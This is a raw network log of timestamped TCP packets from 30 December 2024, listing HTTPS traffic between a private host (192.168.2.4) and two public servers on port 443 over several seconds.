Dec 30, 2024 11:37:37.826000929 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.826014042 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.849726915 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.849780083 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.849797964 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.849806070 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.849848986 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.850188971 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.850203991 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.850858927 CET	50512	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.850897074 CET	443	50512	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.850994110 CET	50512	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.851260900 CET	50512	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.851265907 CET	443	50512	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.976123095 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.976172924 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.976186037 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.976212978 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.976229906 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.976253033 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.976259947 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.976314068 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.976356983 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.977231979 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.977253914 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.978286982 CET	50513	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.978343010 CET	443	50513	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.978579998 CET	50513	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.978694916 CET	50513	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.978708029 CET	443	50513	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.377058983 CET	443	50509	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.377743006 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.377743006 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.377765894 CET	443	50509	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.380558014 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.380567074 CET	443	50509	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.424427032 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.424568892 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.427432060 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.427443981 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.427858114 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.427864075 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.458051920 CET	443	50512	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.458110094 CET	50512	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.458465099 CET	50512	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.458472013 CET	443	50512	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.458633900 CET	50512	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.458638906 CET	443	50512	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.596817017 CET	443	50513	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.597234964 CET	50513	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.604685068 CET	50513	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.604692936 CET	443	50513	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.605417967 CET	50513	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.605426073 CET	443	50513	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.748354912 CET	443	50509	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.748471022 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.748485088 CET	443	50509	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.749068975 CET	443	50509	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.749110937 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.749110937 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.749130964 CET	443	50509	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.749203920 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.749203920 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.749670982 CET	50514	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.749712944 CET	443	50514	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.750313997 CET	50514	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.750885963 CET	50514	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.750897884 CET	443	50514	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.826050043 CET	443	50512	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.826124907 CET	50512	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.826148033 CET	443	50512	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.826215029 CET	50512	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.826598883 CET	443	50512	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.826641083 CET	443	50512	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.826864958 CET	50512	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.840306044 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.840403080 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.840403080 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.840424061 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.840442896 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.840473890 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.840481997 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.840507984 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.840514898 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.840543032 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.841157913 CET	50512	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.841182947 CET	443	50512	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.842017889 CET	50515	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.842061996 CET	443	50515	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.842139959 CET	50515	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.842329025 CET	50515	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:38.842344999 CET	443	50515	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:38.845588923 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.845608950 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.846143007 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.846164942 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:38.846261024 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.846504927 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:38.846514940 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.007697105 CET	443	50513	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.007761955 CET	443	50513	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.007832050 CET	50513	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.007848978 CET	443	50513	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.007864952 CET	443	50513	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.007889032 CET	50513	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.007982969 CET	50513	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.011734962 CET	50513	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.011749029 CET	443	50513	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.013129950 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.013161898 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.013217926 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.013665915 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.013678074 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.358736992 CET	443	50514	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.359294891 CET	50514	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.401211023 CET	50514	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.401237011 CET	443	50514	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.401850939 CET	50514	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.401855946 CET	443	50514	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.446995020 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.451246023 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.468482971 CET	443	50515	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.468547106 CET	50515	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.470609903 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.470624924 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.472318888 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.472323895 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.474534035 CET	50515	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.474548101 CET	443	50515	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.474672079 CET	50515	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.474678040 CET	443	50515	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.649430037 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.649492979 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.650016069 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.650037050 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.650266886 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.650271893 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.737273932 CET	443	50514	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.737320900 CET	50514	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.737747908 CET	50514	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.737776995 CET	443	50514	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.737829924 CET	50514	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.738395929 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.738424063 CET	443	50520	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.738502026 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.738801003 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.738811016 CET	443	50520	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.839529991 CET	443	50515	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.839684010 CET	50515	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.839766979 CET	50515	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.839802980 CET	443	50515	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.839854956 CET	50515	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.840730906 CET	50521	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.840780973 CET	443	50521	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.840835094 CET	50521	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.841870070 CET	50521	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:39.841895103 CET	443	50521	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:39.860331059 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.860378981 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.860390902 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.860416889 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.860431910 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.860446930 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.860452890 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.860496044 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.860501051 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.860511065 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.860536098 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.860557079 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.861357927 CET	50516	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.861371994 CET	443	50516	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.861953974 CET	50522	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.861996889 CET	443	50522	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:39.862078905 CET	50522	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.862329006 CET	50522	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:39.862344980 CET	443	50522	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.062696934 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.062748909 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.062758923 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.062769890 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.062784910 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.062822104 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.062825918 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.062880039 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.062884092 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.062920094 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.063736916 CET	50519	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.063752890 CET	443	50519	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.064168930 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.064212084 CET	443	50523	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.064268112 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.064557076 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.064567089 CET	443	50523	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.337070942 CET	443	50520	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.337151051 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.337826967 CET	443	50520	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.337912083 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.343480110 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.343502998 CET	443	50520	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.343795061 CET	443	50520	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.344360113 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.344360113 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.387327909 CET	443	50520	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.450989008 CET	443	50521	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.451056957 CET	50521	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.451086044 CET	50521	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.451765060 CET	443	50521	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.451816082 CET	50521	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.453910112 CET	50521	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.453921080 CET	443	50521	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.454168081 CET	443	50521	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.454217911 CET	50521	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.454579115 CET	50521	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.460131884 CET	443	50522	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.460191965 CET	50522	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.460691929 CET	50522	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.460704088 CET	443	50522	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.460932970 CET	50522	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.460937977 CET	443	50522	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.499325991 CET	443	50521	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.686826944 CET	443	50523	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.686919928 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.687470913 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.687470913 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.687500000 CET	443	50523	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.687514067 CET	443	50523	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.712582111 CET	443	50520	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.712693930 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.712718010 CET	443	50520	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.713023901 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.713023901 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.713068008 CET	443	50520	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.713162899 CET	50520	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.713814974 CET	50524	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.713846922 CET	443	50524	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.714238882 CET	50524	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.714238882 CET	50524	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.714272976 CET	443	50524	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.768171072 CET	50522	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.768174887 CET	50521	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.768809080 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.768855095 CET	443	50525	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.768958092 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.770317078 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:40.770318985 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.770330906 CET	443	50525	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:40.770359993 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:40.770812988 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.771163940 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:40.771174908 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.096935987 CET	443	50523	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.096988916 CET	443	50523	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.097052097 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.097074032 CET	443	50523	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.097127914 CET	443	50523	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.097228050 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.097228050 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.097495079 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.098588943 CET	50523	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.098618031 CET	443	50523	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.322182894 CET	443	50524	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.322346926 CET	50524	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.322731972 CET	50524	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.322736979 CET	443	50524	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.322819948 CET	50524	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.322824955 CET	443	50524	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.380995989 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.381180048 CET	443	50525	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.381181955 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.381263018 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.381511927 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.381522894 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.381650925 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.381663084 CET	443	50525	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.381781101 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.381787062 CET	443	50525	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.383553028 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.383559942 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.695519924 CET	443	50524	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.695610046 CET	50524	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.695625067 CET	443	50524	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.695657969 CET	50524	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.695785046 CET	50524	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.695816040 CET	443	50524	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.695863008 CET	50524	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.696393013 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.696443081 CET	443	50528	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.696530104 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.696647882 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.696665049 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.696863890 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.696877956 CET	443	50528	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.696882010 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.697348118 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.697355986 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.749912024 CET	443	50525	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.749972105 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.749983072 CET	443	50525	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.750139952 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.750262976 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.750313997 CET	443	50525	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.750354052 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.750401974 CET	50525	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.751019955 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.751054049 CET	443	50530	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.751300097 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.751612902 CET	50530	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:41.751631975 CET	443	50530	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:41.799911022 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.799958944 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.799968958 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.799979925 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.799992085 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.800024033 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.800028086 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.800059080 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.800071955 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.800103903 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.801058054 CET	50526	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.801069021 CET	443	50526	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.802257061 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.802284956 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:41.804498911 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.804694891 CET	50531	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:41.804702997 CET	443	50531	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.296019077 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.296092033 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.296804905 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.296859026 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.300362110 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.300384045 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.300621986 CET	443	50529	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:42.300668955 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.301049948 CET	50529	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:42.304821014 CET	443	50528	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.304909945 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.305356026 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.305371046 CET	443	50528	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:42.305490971 CET	50528	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:42.305496931 CET	443	50528	142.250.186.97	192.168.2.4
